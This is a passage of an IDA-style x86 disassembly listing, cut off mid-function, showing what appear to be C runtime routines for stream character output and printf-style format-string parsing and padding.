		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_4363A8
		jz	short loc_419D83
		cmp	esi, offset dword_4363C8
		jnz	short loc_419D8E


loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95


loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------


loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------


loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_4362F0


loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch


loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------


loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------


loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------


loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh


loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172B0+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------


loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------


loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax


loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump


loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax


loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------


loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx


loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_433C70	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8


loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh


loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_433C6C
		mov	[ebp+var_8], ecx


loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------


loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------


loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8


loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_433C68
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------


loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1


loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_435FD0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435FDC
		pop	ecx


loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435FD4
		pop	ecx


loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi


loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------


loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_433C68
		mov	[ebp+var_8], ecx


loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx


loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------


loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8


loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7


loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------


loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h


loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah


loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax


loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx


loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C


loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------


loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0


loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------


loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0


loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417


loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]


loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------


loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442


loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax


loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h


loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1


loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h


loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------


loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h


loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64


loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------


loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]


loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF


loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


